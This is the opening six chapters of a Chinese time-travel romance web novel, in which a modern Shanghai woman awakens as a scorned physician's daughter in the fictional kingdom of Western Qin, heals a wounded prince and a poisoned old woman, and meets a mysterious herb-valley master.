《百世契约:药妃,宠不停》 第一章:穿越,冥婚不成险被弃尸荒野 千年前,灵空大陆西秦国(灵空大陆分东宁,南安,西秦,北烈四国)。 夜里雷声轰隆隆,倾盆大雨一泻而下,一道道耀眼的闪电时不时划过夜空。 突然从天而降一道灼眼的光芒。即便是伸手不见五指漆黑的夜却依然能看到这光芒宛若一只七彩凤凰盘旋在夜空高贵的昂首俯视寻觅着,而顷刻间它像是找到了目标瞬时伸展开那美轮美奂的凤凰羽翼俯身而下坠入了衣府后院的阁楼便立马消失不见,无影无踪。 随即风停,雨停,雷电停...... “小姐,小姐,你快醒醒啊,你若再不醒,燕儿可怎么办呢?” “呜...呜...呜...” 一个小丫头正一边哭一边用力摇晃着躺在榻上的小主人的胳膊。 这位昏迷的小主正是西秦国御药房药师衣上坤府上的嫡长女衣上云,一年前因病昏迷卧床至今不醒,衣家几乎请便了天下名医均对此症束手无策。 对于这个丑陋软弱且不学无术的废柴大小姐,衣家显然已经是要打算放弃了。 正在这时衣上云隐隐约约听到了小丫头的抽泣声,眼珠子开始拼命地转动着想要努力张开...... 终于视线渐渐变得清晰起来,她一睁眼看到这陌生的地方便吃力地想用两只胳膊撑起身子坐起来,却发现身子异常沉重并不听她的使唤。 这才看到眼前这个小丫头还在用呆愣的眼神望着她,手里还保持之前的动作紧紧拥着她的双臂,无奈她只能伸出一只手来用手指先轻轻按摩一下穴位缓和缓和减轻点颅内的疼痛。 “这是哪儿?” “你是谁?“ “发生了什么事?” 为什么一醒来会在这里,她不是在自己公寓里吗?再看周围陌生的环境,都是古代的木质建筑和装修格调啊。房里除了这个自己唤作燕儿的丫头外,一旁还站着两个跟燕儿年纪稍小一些同样装扮的小丫头,衣上云细细打量观察着这一切。 突然燕儿松开了拥在衣上云臂上的手急急说道:“小姐你怎么了,你不记得了吗?你真的都不记得了吗?” 小姐肯定是昏迷太久所以有点陌生了吧,燕儿挠了挠脑袋睁大眼睛一脸惊愕地一边看她一边心想。 过了会儿见衣上云依旧一脸茫然便继续说“我是燕儿啊,这里是明月阁,你的阁楼啊,你都昏迷了快一年了,小姐你到底怎么了?刚老爷过来说,小姐尚未出阁,本想替你找个同样死法的男子结成冥婚让你们得以脱生,岂料小姐因被退婚过竟无人愿意婚配,正准备把你......把你弃尸荒野” “呜...呜...呜...” 燕儿又哭了,一边哭一边抹眼泪,可这哭声里显然已经少了许多之前的焦急与担忧。 这会衣上云还在穿越的残碎片段里。 难道真的有穿越这种事?真的有人们穷极一生也到达不了的平行时空而我却到达了?衣上云只觉得越想头越痛,越支撑不住,负担不起。她眉头紧锁,双眼紧闭,拼命地回忆整理着这些跳跃漂泊在自己和原主零碎的记忆片段之间...... 21世纪的上海、他失踪了13年的心上人魏明轩至今下落不明、身患肿瘤即将手术的她在自己公寓晕倒了、一道刺眼光芒、随后出现了一道曾经无数次梦境中的那道墙、原主竟然一样名唤衣上云、17岁,丑女,废柴,软弱,人人可欺...... “对了,小姐醒了,不用葬了。小姐,我这就去禀告老爷夫人去”燕儿激动的刚说完话就朝门外奔去,完全没有顾及衣上云正陷在这痛苦的挣扎中。 转眼间她便领了一堆行色匆匆的陌生人进来。 先开口说话的是个约摸四十岁上下的男人,一袭灰白长袍,短须,墨发半束,记忆告诉她,他正是原主的父亲西秦国御药房药师衣上坤。 “既然醒了,就好好在府中呆着” 早不醒晚不醒,刚被陆家退了亲就醒过来了,衣上坤暗自琢磨着重重叹了口气,自始至终眉头紧缩一愁莫展,就丢下这几个字便甩了一手衣袖哼了一声便匆匆夺门而出。 接着旁边一身打扮极其素色却看似慈善的妇人正是原主的母亲年氏,虽是衣上坤的正室,却在衣府是不得宠的,因为她没有娘家做靠山,且只有衣上云一个女儿并无其他子嗣。 见老爷离去年氏忙拭了拭眼角的泪水,急急朝着衣上云的榻边沿上走过来坐下道,“云儿,你可算醒了,为娘对不起你,没能护你周全,让你受苦了”说完又继续抹泪,衣上云此时正专注地打量倾听这位原主母亲的言行... “哎哟喂,大小姐,你可算是醒了,醒的也真是时候,要过了今晚,恐怕你就算想醒也醒不了了。真是家门不幸,衣家因为你......唉”。 穿着大胆艳丽说这番话的正是衣上云的二娘——兰姨娘。旁边站着她趾高气昂的儿子衣上俊和任性骄纵的女儿衣上雪。这母子三人倒也真是母子同气,都狠狠不屑地斜着眼瞪着衣上云,都轻蔑地哼了一声,就都散了出去。 衣上云这才将目光重新投向原主的母亲说道“母亲莫要难过,都是云儿的错,让母亲挂心了”衣上云说着拿出自己的绣帕帮这个妇人拭泪,年氏顺势一把将衣上云紧紧拥入怀中抱紧。 如今,原主已然被她这个21世纪的灵魂代替,她看这个妇人应是也疼爱原主的,无论如何,在这个时空,或许她将是她唯一的依靠了...... 许久,终于所有人都散去。燕儿给衣上云掖好被角,慢慢放下淡紫色的幔帐,轻轻将门掩上退了出去。 这会儿,衣上云自是睡不着的,起身披了一件水蓝色外衣走出阁楼来环视了一下四周的环境。最后来到走廊靠院子西北角上的烟雨亭石桌边上坐了下来,抬头朝自己的阁楼方向看去。 ...... 第二章:退婚,正合我意 阁楼名唤明月阁,在衣府后院东边的角落里。阁楼分为上下两层,二楼是闺房,一楼是书房和客厅,十足的古色古香味。 院落中心是一个小池塘,池塘里娇滴滴的荷花正开着,池塘里花团锦簇似的红鲤鱼自由自在追逐嬉戏着,倒是给这个冷清的院落增添了些许热闹,让这里不会显得太过冷清。 一抬起头只见夜空风淡云轻,皓月当空,繁星点点,倒也正是应了这此情此景了,衣上云心里暗想。 她习惯性地触摸起手腕上的金丝彩玉镯子,这个镯子竟倒跟着她一起来了,也真是她的幸运。 这个镯子是魏明轩送的,虽然他失踪了那么多年,可这个镯子也总能在她最孤独的时候给她些许温暖。 半年前集团与外国科学家还一起研发植入了一枚医学芯片进去,欲让集团在整个医药界无所不能,只是不知道系统还在升级中的它来到这个世界是否会升级中断甚至功能尽失呢? “那...那道墙......那不是” 衣上云的目光突然定在了明月阁紧靠东面的一面墙上惊道。 这道墙衣上云太熟悉了,21世纪她的睡梦中曾无数次出现过这面墙,和现在这面墙太像了,简直一模一样,不,她敢肯定梦中的正是这面墙。她似乎都有点不能分辨发生在眼前的这一切到底是梦境还是现实。 梦里每次梦到这面墙的时候天空都是下着大雨,有个女人面对着这面墙静静地独自站着,她看不到她的脸,但她却总是强烈地感觉梦中站在这面墙前的就是自己,今天她更肯定了这个直觉。 她平日并不钟情这种古装影视,为何却总是做这样的梦。 衣上云情不自禁地靠近着伸出纤细的玉手要抚摸这面墙...... 没错,就是这样,跟梦里真的一模一样,梦中的地方正是这个地方,正是这样的一面墙。 “小姐,这么晚了,你在这里做什么”燕儿拿着一件粉紫色披风向着衣上云急急一走过来连忙帮她披上。 “小姐,夜深了,小心风寒”衣上云这才缓过神来. 燕儿一边关切地叮嘱着一边扶她到石桌边坐下来。继续说,“小姐,你还不知道吧,一个月前西秦学院陆少主亲自来府上跟您退亲了” “退亲?”衣上云显然被自己刚穿越过来就碰上这种倒霉事吃了一惊。 “是的,陆少主他说全京城都知道你相貌丑陋,不学无术,如今还久卧病床不省人事,说衣府想诓骗西秦学院。”燕儿抬头看了一眼衣上云,衣上云自是一脸捉摸不透地低头沉思着,燕儿又继续说。 “说的冠冕堂皇,其实京城谁不知道陆少主攀上了相国府大小姐这个高枝”燕儿有些愤愤不平,说着气的说话的人自己脸红脖子粗. 而衣上云却一脸无所谓地平静,就好比像是在听别人的事,和自己根本无关一样。 像她21世纪的未来人怎么可能在意这种包办婚姻呢?听这丫头口中讲的这位陆少主,明知自己已有婚约在先,却还背地里不知廉耻作出这些伤风败俗之举,贼喊捉贼,想必真人怕是也好不到哪里去。 而且她还不知道会在这西秦国呆多久,会不会过几天就又突然穿越回去了呢?她的魏明轩可还在21世纪里呢! 现在她只能是过一日算一日罢了,退婚了更好,至少她可以继续在这个原主从小到大已经习惯了的府里最起码有个安身之所,这看起来倒好像也是她最好的选择了。在这个古老的时代,她离开了衣府,又能去哪,又该如何安身呢? 对,既来之,则安之。兵来将挡水来土掩,总归要活下来啊,只有活下去才有无尽的可能发生。至少也不能辜负浪费了原主的这幅皮囊,一定要想办法在这里活下来,衣上云暗自心想。 “现在几更天了”衣上云突然问燕儿。 “快二更天了,小姐,我刚才说的话你有在听吗”燕儿急急道。 “嗯,退婚,正合我意” 衣上云说完便起身径自朝阁楼进去,燕儿听到衣上云丢下的这句话却怔在原地霎时露出一脸的惊愕。 “小姐到底有没有听懂我说的话啊,正合我意......小姐难道不知道女子被退婚是奇耻大辱吗,今后一辈子都会嫁不出去了,就连衣府都会被人指指点点”她轻声喃喃着想再确认一遍小姐是否真的听进去了她所言的。 可都还没有等她反应过来,衣上云就已经消失在这片漆黑的夜色中无影无踪了。 无奈燕儿叹了口气摇摇头只能转头回房间去了,她这小主子是真的昏迷傻了吗。 明月阁阁楼里,衣上云正坐在梳妆台的铜镜前终于仔细端详起这张在烛光下尽显柔和,清纯的脸,方才发现这张脸其实和21世纪里她的脸差不多,只是21世纪里她的年龄要大现在很多。 铜镜中她一眼就看到在右眼旁边有个十分清晰规则的圆形粉色肉瘤,她一看就知道这并不是燕儿口中说的什么无药可医的胎记,而是一个极普通的血管瘤罢了。 这个在21世纪里的治疗方案不要太多了,何况只是血管瘤里最普通常见的一种。仔细端详其实要是没有了这个血管瘤,原主还真算得上是肤如凝脂,玲珑剔透,倾国又倾城的大家闺秀美人儿一枚的。 然而在这个时代,却因此被天下人传扬取笑,原主竟然因此活生生忍受了这么多年的羞辱欺凌,真是可怜人啊。如今还被退婚了,在这古老的年代里,这一生怕是都要孤独终老了吧。 “放心,还好我来了,也正是因为是我来了,作为占用你皮囊的报答,我一定帮你恢复倾国倾城的容颜。日后一天你若回来定会许你一个如意郎君,死生契阔,与子成说,执子之手,与子偕老”。 满腹自信地说完这段话,衣上云感觉现在能量满满,便起身来换上了一套黑色夜行衣,戴了一条白色面纱遮盖好脸上的瘤便悄悄从院子后门溜了出去,一出门就朝着东北方不远处山谷方向直奔而去,只见瘦弱的身影很快消失在这一片漆黑的夜雾里...... 第三章:救人,风高夜黑的山谷 神农百草谷,就在这座崖的背后。 西秦国最具实力的药材种植山谷,种有世间罕见的奇珍异草。还好原主的残碎记忆里有这个信息,她的芯片系统升级尚未恢复,大多数功能还在继续升级中。 原主听父亲说过这个谷主极难说话且谷内有独门毒障掩护,常人很难入谷。所以为了省去不必要的麻烦,衣上云选择夜间行走。 半个多时辰的样子她就到达了山谷脚下,这山还挺高的,看样子都有一千多米,这么高大的山脉肯定生长着不少好东西。衣上云心想并暗自窃喜。 山脚周围围绕着一条河,像是山谷的一道天然保护屏障。河水是从山顶瀑布上飞流直下注入的,这山崖的岩石峭壁之间便有她治疗毒瘤所需要的形似佛手样的药引——九死还魂草。 九死还魂草喜生长在向阳的岩石缝中,因为只有那里土壤贫瘠,蓄水能力极其差。衣上云站在山脚下观望了没一会就锁定了一个区域抛出了随身带来的绳索固定好一步一步小心翼翼地攀岩而上。 “果然在这儿,今儿本小姐就把你给收了”衣上云紧闭起那双好看的凤眸集中全部意念,瞬间金丝彩玉镯子闪现出一道七彩光芒,显然它对这些珍贵的药草十分满意。很快就顺利的将九死还魂草收到了芯片系统里,果然储药分支系统的功能已经恢复。 随即衣上云缓缓攀岩而下,夜风袭来山谷里的夜还是有点凉飕飕的,衣上云不禁打了个寒颤,途中顺便还将另外几种罕见草药一并收入了储药系统中。 很快,衣上云安全地到达了地面上,她麻利地收好绳索,轻轻摩擦手掌嘴角上扬露出一抹满意的微笑,便回头朝来时的路准备返回去。 殊不知此时,这黑夜中一袭宽大的黑袍正用一双深不可测的眼睛盯着她从出现到离开,全都一清二楚看在眼力。 然而他并没有出面阻止,他自是不缺这些药草,他目前更好奇的是这个丫头到底是什么来头,竟然能闯入他神农百草谷的独门毒障还安然无恙。没错,他对她很感兴趣,立马吩咐身旁的青衣女子去查,青衣女子领命后两人便一同离开了。 扑通...... 衣上云还没走出多远,旁边丛林方向传出听着好像是有什么倒地的声音。她似是本能的踩着小心翼翼的脚步凑身过去看看。 谁知刚走到一棵大树下,从身后窜出一个同样身着夜行衣蒙面的身影迅速地从衣上云身后用左手紧捉她的左肩往后轻轻一拽,衣上云身子跟着向左后方微倾,随即男子持着利剑的右手便从衣上云的右边环过落到她的脖颈上,她感觉到男子的身体一直在晃动着。 “你受伤了,呼吸沉重,身体摆晃,应该伤的不轻”见他不说话,衣上云抬头看看天空又继续说。 “这风高夜黑且荒郊野外的,想要活命的话,本小姐可以帮你瞧瞧” “我怎么信你”男子吃力地问,他确实伤的很重,一会功夫,呼吸就变得更加沉重不稳困难,急促了。 “你若不信,本小姐还有要事,我不会跟别人说这里有人受伤的,那就告辞啦”衣上云试探道。 男子这时候才慢慢松开了手,衣上云回头看过去,虽然透着蒙面纱巾,却依然能看到后面的人透出来与生俱来的尊贵不可冒犯的气质,浓密的眉毛,深邃黝黑的眼睛却散发着异常冰冷的让人敬而远之的目光,一张精致轮廓的脸像是天工细细雕刻过的。 此时蒙面男子正一手捂着胸口的伤口,另一手低垂吃力地持着一把利剑,却仍然倔强的保持着站立姿势摇摇欲坠。 “坐下,把衣服脱了”衣上云看着倔强的男子说道。 “你要做什么”男子怀疑地问。 “当然是给你疗伤咯,不然呢,我是女子,你一个大男人还怕我把你怎么着了不行”衣上云挑眉带着些不屑的口吻怼道。 男子最终还是乖乖照做,褪去了衣服。衣上云这才看到,他的身材亦倒是很配他的这个轮廓和气质,只是这个男人看起来定是个尊贵的身份,身上却竟然展现出一身的新伤旧伤布满全身。 衣上云不解地眼神怔了一下抬头看了男子一眼,刚好迎上男子冰冷的眼神,四目相对,一霎间,她立刻收回视线。 这里虽不是百草谷的辖区,但却距离不远,故而周边普通草药找来也并不费力气,就在男子坐下宽衣的时候,衣上云已经拈来了药草,此时正在将药草捣碎准备敷药。 一触碰到男子温热身体的时候衣上云心里还是忍不住泛起了一丝异样,头微微转向侧面,用余光很快就敷好药,从衣袖中拿出一条白色丝帕轻轻覆在草药上,撕了一些自己的绑带将药草连同丝帕一起固定绑好,动作娴熟而精细。 处理好伤口,帮男子穿好衣服,衣上云起身前往小河边清洗掉手上残留的药草和血迹。 回来对男子叮嘱道“伤口不要碰水,你暂且休息会,刚包扎的伤口需要时间愈合不要乱动,小心裂开,等恢复力气后以你的内力自行回家应该没有问题,姑娘我就先行一步了,再见...不对...像你这样危险的人,我们还是不再见的好,珍重!” 衣上云单膝蹲着一边说一边拍了拍男子的肩膀起身,抬头看了一眼天色便迈着轻盈的脚步飞快地离开了。 男子其实早就没力气了,视线早就因为体力透支变得模糊不堪,此时正依靠在树根旁一点回应的力气都没有了,只看到一个清瘦女子的身影渐行渐远,而他也彻底闭上了眼睛...... “殿下,殿下......” 不知道过了多久,他慢慢醒过来,六名身着夜行衣的男子站在他身边护着,他面前蹲着一个墨发半束的男子,见到主人清醒了便道:“殿下,属下来迟,请殿下责罚”。只见受伤男子半举起右手,示意众人立即离开。 衣上云回到府里的时候已经是三更天了。她纳闷这么晚了,大厅却还是灯火通明。她四处张望了下,悄悄又溜回后院的门口,一下子就轻而易举的打开了门闩进去又悄悄的将门闩恢复原状,这才踮起脚尖沿着走廊正想进去明月阁。 突然,通往前院的门开了...... 第四章:警告,姐不再好惹 吱呀...... 伴随着门开的声音一缕灯火的亮光照了进来,衣上云惊地抬头看过去,几个小丫头挑着灯走了进来,衣上俊和衣上雪在跟着气势汹汹地迈着疾步跨进门来,他们身后的人正是兰姨娘,衣上云顿时来不及摘掉蒙面巾,就这样愣住站着不敢动弹。 “贱人,半夜三更打扮成这样跑去哪里鬼混了”先开口说话的是衣上俊,瞪着凶神恶煞的眼睛直逼向衣上云。衣上云怔了一下,还没来得及说话,衣上雪开口了。 “哎呦,还知道自己丑啊,把脸遮着,怕出去吓到鬼是吗?既然如此,为什么不直接死了算了,你和你那娘一样,命是又臭又硬,像你这样的货色,占着衣家嫡长女的位置,简直就是给衣家蒙羞。” 看着衣上云看她,她更加愤怒地道“你可明白,只有我才能为衣家光耀门楣”衣上雪说这话的时候表情都几近有些狰狞,没有了一点大家闺秀的样子。 谁料她突然一转身竟伸出一巴掌想要掌掴衣上云,她哪知道如今的衣上云早已不是原主那么好欺负的,衣上云眼疾手快地伸出强有力的右手狠狠抓住衣上雪的手腕,那力气把衣上雪的骨头都捏响了,只见她身体扭曲着都忍不住惨叫出声“哥,救我” “衣上云,还不放手”衣上俊走过去吼道。 “想要衣家嫡长女的身份,除非我死,有本事就来取了我的性命,你便是衣家嫡女了。如若没有那本事,最好安分点”衣上云不甘示弱的厉声回道,顺势目光看向这母子三人,显然这句话明显是说给这三个人听的。 她本就不在乎什么身份不身份,但她绝对不允许被人一次又一次地挑衅,老虎不发威你当我是病猫吗,此举她只是要告诉他们从今以后,她可不再好惹。 “都给我住手!眼里都还有没有我的存在了。“衣上俊见势,扶着衣上雪庇护到兰姨娘旁边,三人目光相视,明显他们被眼前这个丫头惊到了。之前她可不是这个样子的呢,今天居然有这么大的反抗力气。昏迷了一年醒来竟像变了一个人。 “云儿,你父亲方才回宫里了,他走前说在百草堂订了一单药草,这是药单,明天你去百草堂看看叮嘱他们不要办错了差给老爷惹什么不必要的麻烦”兰姨娘递过去一张单子,衣上云接过去想看一眼。刚走到门口,兰姨娘突然回头道。 “还有,你已被退婚,乃是衣府的奇耻大辱,切不要再让衣府蒙羞”兰姨娘说完便转身向前院走去,众人随之紧跟其后掩上了门。 衣上云深呼吸了一口气,拿着一纸药草清单走进了明月阁。 到了阁楼,换上了一身粉紫色长裙,高挑匀称的身材越显淡雅肃静。量谁也想不到这样温柔如水,气质如兰的女子竟会有刚才那翻颇具力量的言辞和举动。 药引已经成功取得,可还需要芯片其它分支系统物品的辅助,却偏偏尝试了半天居然都尚未恢复,无奈只能再等等了。 此时她坐在桌边正看着手中的药单惊讶着,御药房内置办这么多宝贝:半夏、鱼腥草、蛇舌草、香附、石斛、黄芩、三七、何首乌、黑枸杞、灵芝......,这么多珍贵药材百草堂竟然全有,看来这个百草堂绝对不简单,她决定明天好好会一会这个神奇的百草堂。 褪去了中衣,终于躺在榻上了望着幔帐发呆,今天发生了很多事,她忽然想起两个时辰前树林里那个家伙,忍不住想起了那个冰冷的轮廓,心想:他应该醒了吧? 此时,西秦城东秦王府,一个白衣医者正在重新给秦王轩辕瀚伤口消毒、敷药、重新包扎。 “殿下,这伤不轻呢,再差半分可就直取人性命了。不过看这处理伤口的人医术和用药颇为高明,幸亏及时施救,否则怕是凶多吉少了“轩辕翰并没有理会他,依旧散发着冰冷让人敬畏地惧怕的气息。 医者见其不语继续叮嘱道”殿下这几日都需要静养,勿要使力再将伤口裂开”白衣医者小心翼翼地禀告完,便准备收起这一摊污物离去。 “把丝帕留下”轩辕翰余光看到医者手中收拾起的物品终于面无表情冷冷地命令了一句道,医者立刻将丝帕整理好放在一个干净的盘中双手递上后慢慢退了下去。 方才缓缓拿起丝帕的一角,这个传说有严重洁癖的最尊贵的西秦冷面秦王,竟徒手捏起一方如此脏乱粗糙之物。世人若知怕是要怀疑他是中邪了吧。 只见雪白的丝帕上染了药草的色和味,丝帕的一角绣了一个清秀的“云”字迹。是与她的名字相关吗?轩辕翰心里琢磨着,脑海忽然浮起起刚才的片段。 一个如此清瘦弱小的女子为何会深夜穿着夜行衣独自出现在那样的深山谷里,然遇到他持剑威胁却倒是十足的冷静一点也不显慌乱,竟直言让他脱衣,还敢对他说再也不见...... 忽然他挑起眉毛,眼睛微眯起,嘴角上竟扬起难得的一抹好看的弧度,有些许玩味弥漫其间...... 夜已深,东城秦王府,西城衣府,两个失眠的人儿同时将目光看向了窗外,寂静的夜里,弯弯的月儿悬于空中,繁星点点,晚风阵阵,这个世上最温暖的事莫过于你在想我的时候,而我也刚好正在想着你...... 第五章:铃医有药 第二天一大早,衣上云主仆二人便早早出门朝着城中的百草堂而去,衣府在城东。衣上云今天一袭淡黄色长裙甚是清新好看,一双画龙点睛的凤眼,可惜因为芯片系统升级尚未完成,所以她找到的药草只能储存在系统里还不能解毒自救,依旧戴了白色面纱遮面。 出了衣府大门往西拐个弯很快就到了闹市,再过些时日便是中秋佳节了,街上行人已经络绎不绝。古人中秋祭月、赏月、赏花灯,猜灯谜各种活动会异常热闹。有些习俗还是越原始越有意义。 京城集市上确实要比往日热闹许多,主仆俩就像是关在笼子里许久未放风的鸟儿一般雀跃着边走边逛...... “小姐,你看这个鸳鸯灯笼,是一对的,多好看啊“燕儿双手捧着,衣上云挑眉看了过去 “小姐小姐,买冰糖葫芦吃吧,这家冰糖葫芦最好吃,好甜的,好吗?”燕儿欣喜地摇晃着衣上云的胳膊欣喜道。 “好像有人晕倒了,快过去看看”身旁有人惊道,衣上云看了过去,又朝着燕儿看了一眼,会意一起跟去瞧瞧。 “奶奶,奶奶你怎么了,你醒醒啊,奶奶...”只见一个约摸五六岁的衣衫褴褛的小女孩用两只因长期营养不良导致的干瘪的小手一边摇晃着躺在街边的一个老婆婆,一边伤心地哭着。 老婆婆嘴角流着鲜血躺在地上一动不动好像已经昏死过去了,周围围了一圈人指指点点,也听不清在说什么。 衣上云见状立马屈身下去单膝跪地,抓起老婆婆的手腕,认真地把起脉来,燕儿轻轻将小女孩抱开一边擦眼泪一边安慰着“小妹妹,乖,不要哭,我家小姐会帮你的,放心吧”。 蛊毒,竟是中了蛊毒?怎么会有人对一个老婆婆下这种毒? 取百虫入瓮中,经年开之,必有一虫尽食诸虫,此即名曰蛊。蛊毒种类繁多,极其残忍,看现在的症状,应是刚中毒。 衣上云立刻从袖中取出一个精致的小药囊,药囊上依旧绣着一个“云”字。从里面拿出银针按住婆婆心下处施针下去了好一会儿,然后又脱掉了老婆婆的鞋袜,朝小脚趾指尖继续施针,突然竟有类似食物的污物渐渐渗了出来。看来毒是从饭菜中食入的。 就在这时,老婆婆渐渐张开了眼睛。 “奶奶,奶奶”小女孩的视线一直看着她的奶奶从未离开,见到奶奶眼睛在张开,一把挣脱了燕儿的手,朝着奶奶飞奔过去。 这时,一辆由四匹马驱动的大于平常的豪华安车从人群后面路中央急急驶过,车内坐的正是西秦国权高位重的最尊贵的秦王殿下轩辕翰。 他见人围观便透过车窗看到了外面的情形,视线最后停在了蒙着面纱的衣上云的身上。锁住了眉头,感觉好像有几分熟悉,而只是片刻,就匆匆收回了他那张天生冰冷的俊脸,坐了回去。此时双眼微闭,好似在养神。 旁边他的副将程良见状也朝着轩辕翰的视线方向投去了好奇的目光看了一眼,并没发现什么特别的,他自是不知道那晚发生了什么事情。 “婆婆,感觉好些了吗?”衣上云一边收针,一边问道 “姑娘,老身好多了,谢谢你啊,灵儿赶快给姑娘恩人磕头,快呀”老婆婆急着一坐起身就拉着小女孩的胳膊向下拽示意她跪下来。衣上云连忙伸出手去拦下道: “婆婆不必如此,你还未痊愈,需要休息,只是你为何会中毒,你们婆孙俩又为何会沦落街头呢?” 此时老婆婆拉起衣袖哽咽了起来道“姑娘有所不知,我的儿子去北烈国战场杀敌,多年不归,我家媳妇前几日便去将军府打听,谁知也是一去不复返,我怕奸人陷害对孙女不利,就带着孙女逃亡至此。听闻城东秦王殿下爱民如子,就想去秦王府为我那苦命的儿子和媳妇讨个公道。不想误食歹人施舍的饭菜,才至于此,险些命丧黄泉,老身死不足惜,只是可怜了我这尚且才5岁的小孙女便要无依无靠了” “姑娘心善,老身无以为报,还请姑娘受老身一拜”边说老婆婆就叩了下去,谁知衣上云的速度更快地阻止了,还好没叩下去,要不她就要折寿了。 这时,她突然想起虽然已针灸解毒,可是老人家身体本就弱,要使毒能完全清除,尚需一贴药方可。她一抬头,才看到围观的人群之多竟然将她们围的水泄不通,此时大家都为她的善举鼓掌。 她则一眼看到人群中有一身着一袭蓝色长袍的男子,一手执铜铃,另一手负于身后,肩上挎着一个土黄色药袋的铃医,他也正在挑眉看着眼前发生的一切。 衣上云打量了一番朝着他走过去道“先生,请问可否跟您讨一贴五蛊丸?” “姑娘你怎么就知道在下一定会有这方药”铃医捋着胡须反问道。 衣上云投过去微笑而又确定的眼神说道“这种毒在西秦天子脚下的京城虽并不常见,但见先生游走四方,所见所闻所遇必定颇多,相信先生对此毒一定不会陌生,也定有这方五蛊丸的”。 铃医男子怔了一下,嘴角露出一抹似是玩意的弧度“此药100两一方,姑娘还要吗”? “要,当然要,再贵也要要的。不过刚出门太急没有带许多银两,稍后先生随我至府上,顺便请您赏脸喝个茶,如何”衣上云说着,微笑着伸出双手过去拿药。心里却想着,如果本姑娘的芯片系统升级结束的话,会被你坑? 果然铃医从药包里拿出一个白玉色小瓷瓶,衣上云接过轻轻打开倒一粒在掌心,一颗小豆大小的蜜炼药丸,刚好7粒。 “多谢先生赐药”衣上云转身回到婆孙俩身边把药递到老婆婆手中。 “婆婆,这个药丸可以清除你体内剩余毒素,记得每日饭前服一粒,连服7日,保你平安无事。秦王府再往前不远就到了,希望你一切顺利”衣上云一手指着东边不远处气派尊贵的府邸,另一只手摸着小女孩的头,一袭淡黄色长裙在此时忽然让她整个人显得更加美丽动人了。 忽然低头间衣上云瞥见了小女孩手腕上有一道擦伤,伤口已经有些破皮还在渗着鲜血,衣上云从衣袖中拿出一条白色丝帕,赶快小心翼翼地帮小女孩包扎好,还细心地在上面打了一个蝴蝶结甚是好看。 “好漂亮的蝴蝶结啊”小女孩看着精致的包扎雀跃道。 衣上云默默充满爱心的眼神看着小女孩,这么小的孩子,真可怜“燕儿,把我们随身带的银两送给老人家吧”燕儿领命递过去一包银子,婆孙俩又一次流下了感激的眼泪,而后就告辞朝着衣上云指的秦王府邸方向去了。 “小姐,100两呢,咱们回去怎么跟老爷交代呢?”燕儿凑上去担忧的说。 “放心,我自有办法”衣上云不耐烦地说,她正在想,京城里怎么会有这种旁门左道的巫蛊之毒呢,巫蛊之术在西秦国可是一直都三令五申要严查和避讳的呢,而且还染在一个老人的身上,衣上云琢磨着,不知何时竟皱起了原本好看的眉头...... 第六章:惊艳,易三少 一转头衣上云终于缓过神来,围观的人群都也已经散去了,只剩下了蓝袍铃医一脸敬佩的表情嘴角略带弧度直挺地立在衣上云不远处.一手持铃铛,另一手负于身后。 ”还未请教先生怎么称呼”衣上云走上前恭敬地问。 “区区一个铃医怎么敢当呢,姑娘慷慨善良,在下自叹不如。不过,在下刚刚改变主意了,今日100两就算你欠我个人情吧,等在下想好了再来讨,姑娘只需告诉再下您的身份即可,讨债总要知道欠债人是谁吧”铃医有点严肃地说道。 “那就谢谢先生了,城西衣药师是我父亲,先生称呼我衣上云便可,如有任何用得着我的地方,先生可随时来府上找我,能力所及的,小女子定当全力以赴” 原来她真是衣府大小姐,不是听闻废柴软弱吗,看来真是误传了。难怪她能自由出入我百草谷的独门毒障地界,想必里面定是有玄机的,日后且慢慢探个究竟,铃医心里想着。 没错,此人正是前几日衣上云百草谷深夜盗药草时躲在黑暗中的黑袍男子谷主易君浩,认识的人都称他易三少。当夜他命青衣女仆跟踪衣上云下山,青衣女仆已确认过她确实是衣家大小姐。 今日此时,他就更加确定了她不是流传里所说的人人可欺的废柴软弱,而她那夜所盗取的九死还魂草,再加上她整日以面纱遮面,他很快断定她是要解自己脸上的毒。 罢了,美人自是要用来怜香惜玉的,要不岂不是暴殄天物。更何况是一个如此蕙质兰心,聪明纯良的美人。蓝衣铃医想着想着,眼中流露出更加欣赏带有些怜惜的眸光来。 “如此甚好,再下今日还有事就先告辞了,有缘自会再见”铃医说着随便作了个揖便匆匆回头转身离去。 “好,先生保重”衣上云回礼。等她再抬起头的时候那人竟然已经不知所踪了,就像他从来都没出现在这里过一样。 终于该办正经事了,主仆两人继续往东再走了一会到前面路口便往右拐进了一条巷子,百草堂就在这城中的巷口。 一座三层的店面,装饰地倒也真是颇具豪华气势,南来北往的人一眼就能看到挂在门庭上“百草堂”匾额。只见人来人往,都进进出出,快赶上街市的拥挤了,不愧是西秦国第一药草商行。 进门一楼店铺靠墙四面全部都是中药架和柜台,密密麻麻,玲琅满目,应有尽有,从药草到药草加工再到中成药可谓是一条龙一站式的排场了。衣上云看得都有些呆了。 “二位姑娘是抓药还是问诊啊?”过来一个店伙计,一副利索的快嘴,油腔滑调,俨然一幅熟巧的样子。 “这位是城西衣药师府上的大小姐”燕儿抢先介绍了衣上云 “原来是衣药师府上的千金,幸会幸会。您请上三楼,掌柜的已经收到衣药师的通知,货品早都准备齐全了就等您过目后送货到宫里去,您赶快三楼请”伙计一边说一边前面带路。 到三楼要经过二楼,二楼是请的几位不定期坐诊百草堂的名医,一般都是太医院的顶级太医或者民间有名的游医,这些主的价格可是不便宜的哦。看来这百草堂确实不是一般的有实力,且很有经营之道。 此时蓝袍铃医早已撤掉方才装扮的胡须,换上一身紫红长袍,三千墨发用一只精致的簪子半束着,鬓间还有两缕微带蜷曲的青丝洋洋洒洒地垂下来,时不时供他以手把玩着。脸上竟长了一对桃花眼,尽显出一丝妖艳,对,就是妖艳。 二十岁出头的样子,浑身散发着出一副随性恣意来,跟刚才的蓝袍铃医完全判若俩人。此刻他就坐在百草堂三楼一角上的乌木茶桌边悠闲地品茗。旁边是两个浅绿长裙装的女仆伺候着。虽是女仆,却可以跟他随意地谈天论地,俨然一副不同于一般人家的下人。 正在这时衣上云走上了三楼,上来一眼就看见了这引人注目的主仆三人。紫袍男子看见衣上云上来,眼神立刻顿了一下停下了把玩在手中的茶杯呆呆地打量着她,这身打扮衣上云定是认不出他的。两人四目相对,还在互相打量,尚未来得及说话,伙计已经将掌柜的请了过来。 “衣大小姐,大驾光临,有失远迎,赎罪赎罪,快请这边坐”掌柜的客气地行礼说道,眼睛看了一眼旁边的这个紫袍男子,紫袍男子点头示意其继续。 